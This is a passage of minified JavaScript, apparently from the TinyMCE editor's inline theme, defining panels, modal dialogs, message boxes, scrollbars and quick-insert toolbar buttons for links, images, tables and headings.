Ft(t)).find(this)},add:function(t){return this.items().add(this.create(t)).parent(this),this},focus:function(t){var e,n,i,r=this;if(!t||!(n=r.keyboardNav||r.parents().eq(-1)[0].keyboardNav))return i=r.find("*"),r.statusbar&&i.add(r.statusbar.items()),i.each(function(t){if(t.settings.autofocus)return e=null,!1;t.canFocus&&(e=e||t)}),e&&e.focus(),r;n.focusFirst(r)},replace:function(t,e){for(var n,i=this.items(),r=i.length;r--;)if(i[r]===t){i[r]=e;break}0<=r&&((n=e.getEl())&&n.parentNode.removeChild(n),(n=t.getEl())&&n.parentNode.removeChild(n)),e.parent(this)},create:function(t){var e,n=this,i=[];return R.isArray(t)||(t=[t]),R.each(t,function(t){t&&(t instanceof ae||("string"==typeof t&&(t={type:t}),e=R.extend({},n.settings.defaults,t),t.type=e.type=e.type||t.type||n.settings.defaultType||(e.defaults?e.defaults.type:null),t=_e.create(e)),i.push(t))}),i},renderNew:function(){var i=this;return i.items().each(function(t,e){var n;t.parent(i),t.state.get("rendered")||((n=i.getEl("body")).hasChildNodes()&&e<=n.childNodes.length-1?Tt(n.childNodes[e]).before(t.renderHtml()):Tt(n).append(t.renderHtml()),t.postRender(),Zt.add(t))}),i._layout.applyClasses(i.items().filter(":visible")),i._lastRect=null,i},append:function(t){return this.add(t).renderNew()},prepend:function(t){return this.items().set(this.create(t).concat(this.items().toArray())),this.renderNew()},insert:function(t,e,n){var i,r,o;return t=this.create(t),i=this.items(),!n&&e<i.length-1&&(e+=1),0<=e&&e<i.length&&(r=i.slice(0,e).toArray(),o=i.slice(e).toArray(),i.set(r.concat(t,o))),this.renderNew()},fromJSON:function(t){for(var e in t)this.find("#"+e).value(t[e]);return this},toJSON:function(){var i={};return this.find("*").each(function(t){var e=t.name(),n=t.value();e&&void 0!==n&&(i[e]=n)}),i},renderHtml:function(){var t=this,e=t._layout,n=this.settings.role;return t.preRender(),e.preRender(t),'<div id="'+t._id+'" class="'+t.classes+'"'+(n?' role="'+this.settings.role+'"':"")+'><div id="'+t._id+'-body" class="'+t.bodyClasses+'">'+(t.settings.html||"")+e.renderHtml(t)+"</div></div>"},postRender:function(){var t,e=this;return e.items().exec("postRender"),e._super(),e._layout.postRender(e),e.state.set("rendered",!0),e.settings.style&&e.$el.css(e.settings.style),e.settings.border&&(t=e.borderBox,e.$el.css({"border-top-width":t.top,"border-right-width":t.right,"border-bottom-width":t.bottom,"border-left-width":t.left})),e.parent()||(e.keyboardNav=Ce({root:e})),e},initLayoutRect:function(){var t=this._super();return this._layout.recalc(this),t},recalc:function(){var t=this,e=t._layoutRect,n=t._lastRect;if(!n||n.w!==e.w||n.h!==e.h)return t._layout.recalc(t),e=t.layoutRect(),t._lastRect={x:e.x,y:e.y,w:e.w,h:e.h},!0},reflow:function(){var t;if(Zt.remove(this),this.visible()){for(ae.repaintControls=[],ae.repaintControls.map={},this.recalc(),t=ae.repaintControls.length;t--;)ae.repaintControls[t].repaint();"flow"!==this.settings.layout&&"stack"!==this.settings.layout&&this.repaint(),ae.repaintControls=[]}return this}}),Ne={init:function(){this.on("repaint",this.renderScroll)},renderScroll:function(){var p=this,v=2;function n(){var m,g,t;function e(t,e,n,i,r,o){var s,a,l,u,c,d,f,h;if(a=p.getEl("scroll"+t)){if(f=e.toLowerCase(),h=n.toLowerCase(),Tt(p.getEl("absend")).css(f,p.layoutRect()[i]-1),!r)return void Tt(a).css("display","none");Tt(a).css("display","block"),s=p.getEl("body"),l=p.getEl("scroll"+t+"t"),u=s["client"+n]-2*v,c=(u-=m&&g?a["client"+o]:0)/s["scroll"+n],(d={})[f]=s["offset"+e]+v,d[h]=u,Tt(a).css(d),(d={})[f]=s["scroll"+e]*c,d[h]=u*c,Tt(l).css(d)}}t=p.getEl("body"),m=t.scrollWidth>t.clientWidth,g=t.scrollHeight>t.clientHeight,e("h","Left","Width","contentW",m,"Height"),e("v","Top","Height","contentH",g,"Width")}p.settings.autoScroll&&(p._hasScroll||(p._hasScroll=!0,function(){function t(s,a,l,u,c){var d,t=p._id+"-scroll"+s,e=p.classPrefix;Tt(p.getEl()).append('<div id="'+t+'" class="'+e+"scrollbar "+e+"scrollbar-"+s+'"><div id="'+t+'t" class="'+e+'scrollbar-thumb"></div></div>'),p.draghelper=new we(t+"t",{start:function(){d=p.getEl("body")["scroll"+a],Tt("#"+t).addClass(e+"active")},drag:function(t){var e,n,i,r,o=p.layoutRect();n=o.contentW>o.innerW,i=o.contentH>o.innerH,r=p.getEl("body")["client"+l]-2*v,e=(r-=n&&i?p.getEl("scroll"+s)["client"+c]:0)/p.getEl("body")["scroll"+l],p.getEl("body")["scroll"+a]=d+t["delta"+u]/e},stop:function(){Tt("#"+t).removeClass(e+"active")}})}p.classes.add("scroll"),t("v","Top","Height","Y","Width"),t("h","Left","Width","X","Height")}(),p.on("wheel",function(t){var e=p.getEl("body");e.scrollLeft+=10*(t.deltaX||0),e.scrollTop+=10*t.deltaY,n()}),Tt(p.getEl("body")).on("scroll",n)),n())}},Oe=Me.extend({Defaults:{layout:"fit",containerCls:"panel"},Mixins:[Ne],renderHtml:function(){var t=this,e=t._layout,n=t.settings.html;return t.preRender(),e.preRender(t),void 0===n?n='<div id="'+t._id+'-body" class="'+t.bodyClasses+'">'+e.renderHtml(t)+"</div>":("function"==typeof n&&(n=n.call(t)),t._hasBody=!1),'<div id="'+t._id+'" class="'+t.classes+'" hidefocus="1" tabindex="-1" role="group">'+(t._preBodyHtml||"")+n+"</div>"}}),We={resizeToContent:function(){this._layoutRect.autoResize=!0,this._lastRect=null,this.reflow()},resizeTo:function(t,e){if(t<=1||e<=1){var n=Ht.getWindowSize();t=t<=1?t*n.w:t,e=e<=1?e*n.h:e}return this._layoutRect.autoResize=!1,this.layoutRect({minW:t,minH:e,w:t,h:e}).reflow()},resizeBy:function(t,e){var n=this.layoutRect();return this.resizeTo(n.w+t,n.h+e)}},Pe=[],De=[];function Ae(t,e){for(;t;){if(t===e)return!0;t=t.parent()}}function Be(){ke||(ke=function(t){2!==t.button&&function(t){for(var e=Pe.length;e--;){var n=Pe[e],i=n.getParentCtrl(t.target);if(n.settings.autohide){if(i&&(Ae(i,n)||n.parent()===i))continue;(t=n.fire("autohide",{target:t.target})).isDefaultPrevented()||n.hide()}}}(t)},Tt(_.document).on("click touchstart",ke))}function Le(r){var t=Ht.getViewPort().y;function e(t,e){for(var n,i=0;i<Pe.length;i++)if(Pe[i]!==r)for(n=Pe[i].parent();n&&(n=n.parent());)n===r&&Pe[i].fixed(t).moveBy(0,e).repaint()}r.settings.autofix&&(r.state.get("fixed")?r._autoFixY>t&&(r.fixed(!1).layoutRect({y:r._autoFixY}).repaint(),e(!1,r._autoFixY-t)):(r._autoFixY=r.layoutRect().y,r._autoFixY<t&&(r.fixed(!0).layoutRect({y:0}).repaint(),e(!0,t-r._autoFixY))))}function Ie(t,e){var n,i,r=ze.zIndex||65535;if(t)De.push(e);else for(n=De.length;n--;)De[n]===e&&De.splice(n,1);if(De.length)for(n=0;n<De.length;n++)De[n].modal&&(r++,i=De[n]),De[n].getEl().style.zIndex=r,De[n].zIndex=r,r++;var o=Tt("#"+e.classPrefix+"modal-block",e.getContainerElm())[0];i?Tt(o).css("z-index",i.zIndex-1):o&&(o.parentNode.removeChild(o),Te=!1),ze.currentZIndex=r}var ze=Oe.extend({Mixins:[he,We],init:function(t){var i=this;i._super(t),(i._eventsRoot=i).classes.add("floatpanel"),t.autohide&&(Be(),function(){if(!He){var t=_.document.documentElement,e=t.clientWidth,n=t.clientHeight;He=function(){_.document.all&&e===t.clientWidth&&n===t.clientHeight||(e=t.clientWidth,n=t.clientHeight,ze.hideAll())},Tt(_.window).on("resize",He)}}(),Pe.push(i)),t.autofix&&(Ee||(Ee=function(){var t;for(t=Pe.length;t--;)Le(Pe[t])},Tt(_.window).on("scroll",Ee)),i.on("move",function(){Le(this)})),i.on("postrender show",function(t){if(t.control===i){var e,n=i.classPrefix;i.modal&&!Te&&((e=Tt("#"+n+"modal-block",i.getContainerElm()))[0]||(e=Tt('<div id="'+n+'modal-block" class="'+n+"reset "+n+'fade"></div>').appendTo(i.getContainerElm())),c.setTimeout(function(){e.addClass(n+"in"),Tt(i.getEl()).addClass(n+"in")}),Te=!0),Ie(!0,i)}}),i.on("show",function(){i.parents().each(function(t){if(t.state.get("fixed"))return i.fixed(!0),!1})}),t.popover&&(i._preBodyHtml='<div class="'+i.classPrefix+'arrow"></div>',i.classes.add("popover").add("bottom").add(i.isRtl()?"end":"start")),i.aria("label",t.ariaLabel),i.aria("labelledby",i._id),i.aria("describedby",i.describedBy||i._id+"-none")},fixed:function(t){var e=this;if(e.state.get("fixed")!==t){if(e.state.get("rendered")){var n=Ht.getViewPort();t?e.layoutRect().y-=n.y:e.layoutRect().y+=n.y}e.classes.toggle("fixed",t),e.state.set("fixed",t)}return e},show:function(){var t,e=this._super();for(t=Pe.length;t--&&Pe[t]!==this;);return-1===t&&Pe.push(this),e},hide:function(){return Fe(this),Ie(!1,this),this._super()},hideAll:function(){ze.hideAll()},close:function(){return this.fire("close").isDefaultPrevented()||(this.remove(),Ie(!1,this)),this},remove:function(){Fe(this),this._super()},postRender:function(){return this.settings.bodyRole&&this.getEl("body").setAttribute("role",this.settings.bodyRole),this._super()}});function Fe(t){var e;for(e=Pe.length;e--;)Pe[e]===t&&Pe.splice(e,1);for(e=De.length;e--;)De[e]===t&&De.splice(e,1)}ze.hideAll=function(){for(var t=Pe.length;t--;){var e=Pe[t];e&&e.settings.autohide&&(e.hide(),Pe.splice(t,1))}};var Ue=[],Ve="";function qe(t){var e,n=Tt("meta[name=viewport]")[0];!1!==h.overrideViewPort&&(n||((n=_.document.createElement("meta")).setAttribute("name","viewport"),_.document.getElementsByTagName("head")[0].appendChild(n)),(e=n.getAttribute("content"))&&void 0!==Ve&&(Ve=e),n.setAttribute("content",t?"width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0":Ve))}function Ye(t,e){(function(){for(var t=0;t<Ue.length;t++)if(Ue[t]._fullscreen)return!0;return!1})()&&!1===e&&Tt([_.document.documentElement,_.document.body]).removeClass(t+"fullscreen")}var $e=ze.extend({modal:!0,Defaults:{border:1,layout:"flex",containerCls:"panel",role:"dialog",callbacks:{submit:function(){this.fire("submit",{data:this.toJSON()})},close:function(){this.close()}}},init:function(t){var n=this;n._super(t),n.isRtl()&&n.classes.add("rtl"),n.classes.add("window"),n.bodyClasses.add("window-body"),n.state.set("fixed",!0),t.buttons&&(n.statusbar=new Oe({layout:"flex",border:"1 0 0 0",spacing:3,padding:10,align:"center",pack:n.isRtl()?"start":"end",defaults:{type:"button"},items:t.buttons}),n.statusbar.classes.add("foot"),n.statusbar.parent(n)),n.on("click",function(t){var e=n.classPrefix+"close";(Ht.hasClass(t.target,e)||Ht.hasClass(t.target.parentNode,e))&&n.close()}),n.on("cancel",function(){n.close()}),n.on("move",function(t){t.control===n&&ze.hideAll()}),n.aria("describedby",n.describedBy||n._id+"-none"),n.aria("label",t.title),n._fullscreen=!1},recalc:function(){var t,e,n,i,r=this,o=r.statusbar;r._fullscreen&&(r.layoutRect(Ht.getWindowSize()),r.layoutRect().contentH=r.layoutRect().innerH),r._super(),t=r.layoutRect(),r.settings.title&&!r._fullscreen&&(e=t.headerW)>t.w&&(n=t.x-Math.max(0,e/2),r.layoutRect({w:e,x:n}),i=!0),o&&(o.layoutRect({w:r.layoutRect().innerW}).recalc(),(e=o.layoutRect().minW+t.deltaW)>t.w&&(n=t.x-Math.max(0,e-t.w),r.layoutRect({w:e,x:n}),i=!0)),i&&r.recalc()},initLayoutRect:function(){var t,e=this,n=e._super(),i=0;if(e.settings.title&&!e._fullscreen){t=e.getEl("head");var r=Ht.getSize(t);n.headerW=r.width,n.headerH=r.height,i+=n.headerH}e.statusbar&&(i+=e.statusbar.layoutRect().h),n.deltaH+=i,n.minH+=i,n.h+=i;var o=Ht.getWindowSize();return n.x=e.settings.x||Math.max(0,o.w/2-n.w/2),n.y=e.settings.y||Math.max(0,o.h/2-n.h/2),n},renderHtml:function(){var t=this,e=t._layout,n=t._id,i=t.classPrefix,r=t.settings,o="",s="",a=r.html;return t.preRender(),e.preRender(t),r.title&&(o='<div id="'+n+'-head" class="'+i+'window-head"><div id="'+n+'-title" class="'+i+'title">'+t.encode(r.title)+'</div><div id="'+n+'-dragh" class="'+i+'dragh"></div><button type="button" class="'+i+'close" aria-hidden="true"><i class="mce-ico mce-i-remove"></i></button></div>'),r.url&&(a='<iframe src="'+r.url+'" tabindex="-1"></iframe>'),void 0===a&&(a=e.renderHtml(t)),t.statusbar&&(s=t.statusbar.renderHtml()),'<div id="'+n+'" class="'+t.classes+'" hidefocus="1"><div class="'+t.classPrefix+'reset" role="application">'+o+'<div id="'+n+'-body" class="'+t.bodyClasses+'">'+a+"</div>"+s+"</div></div>"},fullscreen:function(t){var n,e,i=this,r=_.document.documentElement,o=i.classPrefix;if(t!==i._fullscreen)if(Tt(_.window).on("resize",function(){var t;if(i._fullscreen)if(n)i._timer||(i._timer=c.setTimeout(function(){var t=Ht.getWindowSize();i.moveTo(0,0).resizeTo(t.w,t.h),i._timer=0},50));else{t=(new Date).getTime();var e=Ht.getWindowSize();i.moveTo(0,0).resizeTo(e.w,e.h),50<(new Date).getTime()-t&&(n=!0)}}),e=i.layoutRect(),i._fullscreen=t){i._initial={x:e.x,y:e.y,w:e.w,h:e.h},i.borderBox=Nt("0"),i.getEl("head").style.display="none",e.deltaH-=e.headerH+2,Tt([r,_.document.body]).addClass(o+"fullscreen"),i.classes.add("fullscreen");var s=Ht.getWindowSize();i.moveTo(0,0).resizeTo(s.w,s.h)}else i.borderBox=Nt(i.settings.border),i.getEl("head").style.display="",e.deltaH+=e.headerH,Tt([r,_.document.body]).removeClass(o+"fullscreen"),i.classes.remove("fullscreen"),i.moveTo(i._initial.x,i._initial.y).resizeTo(i._initial.w,i._initial.h);return i.reflow()},postRender:function(){var e,n=this;setTimeout(function(){n.classes.add("in"),n.fire("open")},0),n._super(),n.statusbar&&n.statusbar.postRender(),n.focus(),this.dragHelper=new we(n._id+"-dragh",{start:function(){e={x:n.layoutRect().x,y:n.layoutRect().y}},drag:function(t){n.moveTo(e.x+t.deltaX,e.y+t.deltaY)}}),n.on("submit",function(t){t.isDefaultPrevented()||n.close()}),Ue.push(n),qe(!0)},submit:function(){return this.fire("submit",{data:this.toJSON()})},remove:function(){var t,e=this;for(e.dragHelper.destroy(),e._super(),e.statusbar&&this.statusbar.remove(),Ye(e.classPrefix,!1),t=Ue.length;t--;)Ue[t]===e&&Ue.splice(t,1);qe(0<Ue.length)},getContentWindow:function(){var t=this.getEl().getElementsByTagName("iframe")[0];return t?t.contentWindow:null}});!function(){if(!h.desktop){var n={w:_.window.innerWidth,h:_.window.innerHeight};c.setInterval(function(){var t=_.window.innerWidth,e=_.window.innerHeight;n.w===t&&n.h===e||(n={w:t,h:e},Tt(_.window).trigger("resize"))},100)}Tt(_.window).on("resize",function(){var t,e,n=Ht.getWindowSize();for(t=0;t<Ue.length;t++)e=Ue[t].layoutRect(),Ue[t].moveTo(Ue[t].settings.x||Math.max(0,n.w/2-e.w/2),Ue[t].settings.y||Math.max(0,n.h/2-e.h/2))})}();var Xe,je,Je,Ge=$e.extend({init:function(t){t={border:1,padding:20,layout:"flex",pack:"center",align:"center",containerCls:"panel",autoScroll:!0,buttons:{type:"button",text:"Ok",action:"ok"},items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200}},this._super(t)},Statics:{OK:1,OK_CANCEL:2,YES_NO:3,YES_NO_CANCEL:4,msgBox:function(t){var e,i=t.callback||function(){};function n(t,e,n){return{type:"button",text:t,subtype:n?"primary":"",onClick:function(t){t.control.parents()[1].close(),i(e)}}}switch(t.buttons){case Ge.OK_CANCEL:e=[n("Ok",!0,!0),n("Cancel",!1)];break;case Ge.YES_NO:case Ge.YES_NO_CANCEL:e=[n("Yes",1,!0),n("No",0)],t.buttons===Ge.YES_NO_CANCEL&&e.push(n("Cancel",-1));break;default:e=[n("Ok",!0,!0)]}return new $e({padding:20,x:t.x,y:t.y,minWidth:300,minHeight:100,layout:"flex",pack:"center",align:"center",buttons:e,title:t.title,role:"alertdialog",items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200,text:t.text},onPostRender:function(){this.aria("describedby",this.items()[0]._id)},onClose:t.onClose,onCancel:function(){i(!1)}}).renderTo(_.document.body).reflow()},alert:function(t,e){return"string"==typeof t&&(t={text:t}),t.callback=e,Ge.msgBox(t)},confirm:function(t,e){return"string"==typeof t&&(t={text:t}),t.callback=e,t.buttons=Ge.OK_CANCEL,Ge.msgBox(t)}}}),Ke=function(t,e){return{renderUI:function(){return st(t,e)},getNotificationManagerImpl:function(){return ye(t)},getWindowManagerImpl:function(){return{open:function(n,t,e){var i;return n.title=n.title||" ",n.url=n.url||n.file,n.url&&(n.width=parseInt(n.width||320,10),n.height=parseInt(n.height||240,10)),n.body&&(n.items={defaults:n.defaults,type:n.bodyType||"form",items:n.body,data:n.data,callbacks:n.commands}),n.url||n.buttons||(n.buttons=[{text:"Ok",subtype:"primary",onclick:function(){i.find("form")[0].submit()}},{text:"Cancel",onclick:function(){i.close()}}]),(i=new $e(n)).on("close",function(){e(i)}),n.data&&i.on("postRender",function(){this.find("*").each(function(t){var e=t.name();e in n.data&&t.value(n.data[e])})}),i.features=n||{},i.params=t||{},i=i.renderTo(_.document.body).reflow()},alert:function(t,e,n){var i;return(i=Ge.alert(t,function(){e()})).on("close",function(){n(i)}),i},confirm:function(t,e,n){var i;return(i=Ge.confirm(t,function(t){e(t)})).on("close",function(){n(i)}),i},close:function(t){t.close()},getParams:function(t){return t.params},setParams:function(t,e){t.params=e}}}}},Ze="undefined"!=typeof _.window?_.window:Function("return this;")(),Qe=function(t,e){return function(t,e){for(var n=e!==undefined&&null!==e?e:Ze,i=0;i<t.length&&n!==undefined&&null!==n;++i)n=n[t[i]];return n}(t.split("."),e)},tn=function(t,e){var n=Qe(t,e);if(n===undefined||null===n)throw new Error(t+" not available on this browser");return n},en=tinymce.util.Tools.resolve("tinymce.util.Promise"),nn=function(n){return new en(function(t){var e=new(tn("FileReader"));e.onloadend=function(){t(e.result.split(",")[1])},e.readAsDataURL(n)})},rn=function(){return new en(function(e){var t;(t=_.document.createElement("input")).type="file",t.style.position="fixed",t.style.left=0,t.style.top=0,t.style.opacity=.001,_.document.body.appendChild(t),t.onchange=function(t){e(Array.prototype.slice.call(t.target.files))},t.click(),t.parentNode.removeChild(t)})},on=0,sn=function(t){return t+on+++(e=function(){return Math.round(4294967295*Math.random()).toString(36)},"s"+Date.now().toString(36)+e()+e()+e());var e},an=function(r,o){var s={};function t(t){var e,n,i;n=o[t?"startContainer":"endContainer"],i=o[t?"startOffset":"endOffset"],1===n.nodeType&&(e=r.create("span",{"data-mce-type":"bookmark"}),n.hasChildNodes()?(i=Math.min(i,n.childNodes.length-1),t?n.insertBefore(e,n.childNodes[i]):r.insertAfter(e,n.childNodes[i])):n.appendChild(e),n=e,i=0),s[t?"startContainer":"endContainer"]=n,s[t?"startOffset":"endOffset"]=i}return t(!0),o.collapsed||t(),s},ln=function(r,o){function t(t){var e,n,i;e=i=o[t?"startContainer":"endContainer"],n=o[t?"startOffset":"endOffset"],e&&(1===e.nodeType&&(n=function(t){for(var e=t.parentNode.firstChild,n=0;e;){if(e===t)return n;1===e.nodeType&&"bookmark"===e.getAttribute("data-mce-type")||n++,e=e.nextSibling}return-1}(e),e=e.parentNode,r.remove(i)),o[t?"startContainer":"endContainer"]=e,o[t?"startOffset":"endOffset"]=n)}t(!0),t();var e=r.createRng();return e.setStart(o.startContainer,o.startOffset),o.endContainer&&e.setEnd(o.endContainer,o.endOffset),e},un=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),cn=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),dn=function(t){return"A"===t.nodeName&&t.hasAttribute("href")},fn=function(t){var e,n,i,r,o,s,a,l;return r=t.selection,o=t.dom,s=r.getRng(),a=o,l=cn.getNode(s.startContainer,s.startOffset),e=a.getParent(l,dn)||l,n=cn.getNode(s.endContainer,s.endOffset),i=t.getBody(),R.grep(function(t,e,n){var i,r,o=[];for(i=new un(e,t),r=e;r&&(1===r.nodeType&&o.push(r),r!==n);r=i.next());return o}(i,e,n),dn)},hn=function(t){var e,n,i,r,o;n=fn(e=t),r=e.dom,o=e.selection,i=an(r,o.getRng()),R.each(n,function(t){e.dom.remove(t,!0)}),o.setRng(ln(r,i))},mn=function(t){t.selection.collapse(!1)},gn=function(t){t.focus(),hn(t),mn(t)},pn=function(t,e){var n,i,r,o,s,a=t.dom.getParent(t.selection.getStart(),"a[href]");a?(o=a,s=e,(r=t).focus(),r.dom.setAttrib(o,"href",s),mn(r)):(i=e,(n=t).execCommand("mceInsertLink",!1,{href:i}),mn(n))},vn=function(t,e,n){var i,r,o;t.plugins.table?t.plugins.table.insertTable(e,n):(r=e,o=n,(i=t).undoManager.transact(function(){var t,e;i.insertContent(function(t,e){var n,i,r;for(r='<table data-mce-id="mce" style="width: 100%">',r+="<tbody>",i=0;i<e;i++){for(r+="<tr>",n=0;n<t;n++)r+="<td><br></td>";r+="</tr>"}return r+="</tbody>",r+="</table>"}(r,o)),(t=i.dom.select("*[data-mce-id]")[0]).removeAttribute("data-mce-id"),e=i.dom.select("td,th",t),i.selection.setCursorLocation(e[0],0)}))},bn=function(t,e){t.execCommand("FormatBlock",!1,e)},yn=function(t,e,n){var i,r;r=(i=t.editorUpload.blobCache).create(sn("mceu"),n,e),i.add(r),t.insertContent(t.dom.createHTML("img",{src:r.blobUri()}))},xn=function(t,e){0===e.trim().length?gn(t):pn(t,e)},wn=gn,_n=function(n,t){n.addButton("quicklink",{icon:"link",tooltip:"Insert/Edit link",stateSelector:"a[href]",onclick:function(){t.showForm(n,"quicklink")}}),n.addButton("quickimage",{icon:"image",tooltip:"Insert image",onclick:function(){rn().then(function(t){var e=t[0];nn(e).then(function(t){yn(n,t,e)})})}}),n.addButton("quicktable",{icon:"table",tooltip:"Insert table",onclick:function(){t.hide(),vn(n,2,2)}}),function(e){for(var t=function(t){return function(){bn(e,t)}},n=1;n<6;n++){var i="h"+n;e.addButton(i,{text:i.toUpperCase(),tooltip:"Heading "+n,stateSelector:i,onclick:t(i),onPostRender:function(){this.getEl().firstChild.firstChild.style.fontWeight="bold"}})}}(n)},Rn=function(){var t=h.container;if(t&&"static"!==v.DOM.getStyle(t,"position",!0)){var e=v.DOM.getPos(t),n=e.x-t.scrollLeft,i=e.y-t.scrollTop;return mt.some({x:n,y:i})}return mt.none()},Cn=function(t){return/^www\.|\.(com|org|edu|gov|uk|net|ca|de|jp|fr|au|us|ru|ch|it|nl|se|no|es|mil)$/i.test(t.trim())},kn=function(t){return/^https?:\/\//.test(t.trim())},En=function(t,e){return!kn(e)&&Cn(e)?(n=t,i=e,new en(function(e){n.windowManager.confirm("The URL you entered seems to be an external link. Do you want to add the required http:// prefix?",function(t){e(!0===t?"http://"+i:i)})})):en.resolve(e);var n,i},Hn=function(r,e){var t,n,i,o={};return t="quicklink",n={items:[{type:"button",name:"unlink",icon:"unlink",onclick:function(){r.focus(),wn(r),e()},tooltip:"Remove link"},{type:"filepicker",name:"linkurl",placeholder:"Paste or type a link",filetype:"file",onchange:function(t){var e=t.meta;e&&e.attach&&(o={href:this.value(),attach:e.attach})}},{type:"button",icon:"checkmark",subtype:"primary",tooltip:"Ok",onclick:"submit"}],onshow:function(t){if(t.control===this){var e,n="";(e=r.dom.getParent(r.selection.getStart(),"a[href]"))&&(n=r.dom.getAttrib(e,"href")),this.fromJSON({linkurl:n}),i=this.find("#unlink"),e?i.show():i.hide(),this.find("#linkurl")[0].focus()}var i},onsubmit:function(t){En(r,t.data.linkurl).then(function(t){r.undoManager.transact(function(){t===o.href&&(o.attach(),o={}),xn(r,t)}),e()})}},(i=_e.create(R.extend({type:"form",layout:"flex",direction:"row",padding:5,name:t,spacing:3},n))).on("show",function(){i.find("textbox").eq(0).each(function(t){t.focus()})}),i},Tn=function(n,t,e){var o,i,s=[];if(e)return R.each(B(i=e)?i:W(i)?i.split(/[ ,]/):[],function(t){if("|"===t)o=null;else if(n.buttons[t]){o||(o={type:"buttongroup",items:[]},s.push(o));var e=n.buttons[t];A(e)&&(e=e()),e.type=e.type||"button",(e=_e.create(e)).on("postRender",(i=n,r=e,function(){var e,t,n=(t=function(t,e){return{selector:t,handler:e}},(e=r).settings.stateSelector?t(e.settings.stateSelector,function(t){e.active(t)}):e.settings.disabledStateSelector?t(e.settings.disabledStateSelector,function(t){e.disabled(t)}):null);null!==n&&i.selection.selectorChanged(n.selector,n.handler)})),o.items.push(e)}var i,r}),_e.create({type:"toolbar",layout:"flow",name:t,items:s})},Sn=function(){var l,c,o=function(t){return 0<t.items().length},u=function(t,e){var n,i,r=(n=t,i=e,R.map(i,function(t){return Tn(n,t.id,t.items)})).concat([Tn(t,"text",J(t)),Tn(t,"insert",G(t)),Hn(t,p)]);return _e.create({type:"floatpanel",role:"dialog",classes:"tinymce tinymce-inline arrow",ariaLabel:"Inline toolbar",layout:"flex",direction:"column",align:"stretch",autohide:!1,autofix:!0,fixed:!0,border:1,items:R.grep(r,o),oncancel:function(){t.focus()}})},d=function(t){t&&t.show()},f=function(t,e){t.moveTo(e.x,e.y)},h=function(n,i){i=i?i.substr(0,2):"",R.each({t:"down",b:"up",c:"center"},function(t,e){n.classes.toggle("arrow-"+t,e===i.substr(0,1))}),"cr"===i?(n.classes.toggle("arrow-left",!0),n.classes.toggle("arrow-right",!1)):"cl"===i?(n.classes.toggle("arrow-left",!1),n.classes.toggle("arrow-right",!0)):R.each({l:"left",r:"right"},function(t,e){n.classes.toggle("arrow-"+t,e===i.substr(1,1))})},m=function(t,e){var n=t.items().filter("#"+e);return 0<n.length&&(n[0].show(),t.reflow(),!0)},g=function(t,e,n,i){var r,o,s,a;if(a=K(n),r=b(n),o=v.DOM.getRect(t.getEl()),s="insert"===e?Y(i,r,o):$(i,r,o)){var l=Rn().getOr({x:0,y:0}),u={x:s.rect.x-l.x,y:s.rect.y-l.y,w:s.rect.w,h:s.rect.h};return f(t,X(a,c=i,r,u)),h(t,s.position),!0}return!1},p=function(){l&&l.hide()};return{show:function(t,e,n,i){var r,o,s,a;l||(S(t),(l=u(t,i)).renderTo().reflow().moveTo(n.x,n.y),t.nodeChanged()),o=e,s=t,a=n,d(r=l),r.items().hide(),m(r,o)?!1===g(r,o,s,a)&&p():p()},showForm:function(t,e){if(l){if(l.items().hide(),!m(l,e))return void p();var n,i,r,o=void 0;d(l),l.items().hide(),m(l,e),r=K(t),n=b(t),o=v.DOM.getRect(l.getEl()),(i=$(c,n,o))&&(o=i.rect,f(l,X(r,c,n,o)),h(l,i.position))}},reposition:function(t,e,n){l&&g(l,e,t,n)},inForm:function(){return l&&l.visible()&&0<l.items().filter("form:visible").length},hide:p,focus:function(){l&&l.find("toolbar:visible").eq(0).each(function(t){t.focus(!0)})},remove:function(){l&&(l.remove(),l=null)}}},Mn=St.extend({Defaults:{firstControlClass:"first",lastControlClass:"last"},init:function(t){this.settings=R.extend({},this.Defaults,t)},preRender:function(t){t.bodyClasses.add(this.settings.containerClass)},applyClasses:function(t){var e,n,i,r,o=this.settings;e=o.firstControlClass,n=o.lastControlClass,t.each(function(t){t.classes.remove(e).remove(n).add(o.controlClass),t.visible()&&(i||(i=t),r=t)}),i&&i.classes.add(e),r&&r.classes.add(n)},renderHtml:function(t){var e="";return this.applyClasses(t.items()),t.items().each(function(t){e+=t.renderHtml()}),e},recalc:function(){},postRender:function(){},isNative:function(){return!1}}),Nn=Mn.extend({Defaults:{containerClass:"abs-layout",controlClass:"abs-layout-item"},recalc:function(t){t.items().filter(":visible").each(function(t){var e=t.settings;t.layoutRect({x:e.x,y:e.y,w:e.w,h:e.h}),t.recalc&&t.recalc()})},renderHtml:function(t){return'<div id="'+t._id+'-absend" class="'+t.classPrefix+'abs-end"></div>'+this._super(t)}}),On=ge.extend({Defaults:{classes:"widget btn",role:"button"},init:function(t){var e,n=this;n._super(t),t=n.settings,e=n.settings.size,n.on("click mousedown",function(t){t.preventDefault()}),n.on("touchstart",function(t){n.fire("click",t),t.preventDefault()}),t.subtype&&n.classes.add(t.subtype),e&&n.classes.add("btn-"+e),t.icon&&n.icon(t.icon)},icon:function(t){return arguments.length?(this.state.set("icon",t),this):this.state.get("icon")},repaint:function(){var t,e=this.getEl().firstChild;e&&((t=e.style).width=t.height="100%"),this._super()},renderHtml:function(){var t,e,n=this,i=n._id,r=n.classPrefix,o=n.state.get("icon"),s=n.state.get("text"),a="",l=n.settings;return(t=l.image)?(o="none","string"!=typeof t&&(t=_.window.getSelection?t[0]:t[1]),t=" style=\"background-image: url('"+t+"')\""):t="",s&&(n.classes.add("btn-has-text"),a='<span class="'+r+'txt">'+n.encode(s)+"</span>"),o=o?r+"ico "+r+"i-"+o:"",e="boolean"==typeof l.active?' aria-pressed="'+l.active+'"':"",'<div id="'+i+'" class="'+n.classes+'" tabindex="-1"'+e+'><button id="'+i+'-button" role="presentation" type="button" tabindex="-1">'+(o?'<i class="'+o+'"'+t+"></i>":"")+a+"</button></div>"},bindStates:function(){var o=this,n=o.$,i=o.classPrefix+"txt";function s(t){var e=n("span."+i,o.getEl());t?(e[0]||(n("button:first",o.getEl()).append('<span class="'+i+'"></span>'),e=n("span."+i,o.getEl())),e.html(o.encode(t))):e.remove(),o.classes.toggle("btn-has-text",!!t)}return o.state.on("change:text",function(t){s(t.value)}),o.state.on("change:icon",function(t){var e=t.value,n=o.classPrefix;e=(o.settings.icon=e)?n+"ico 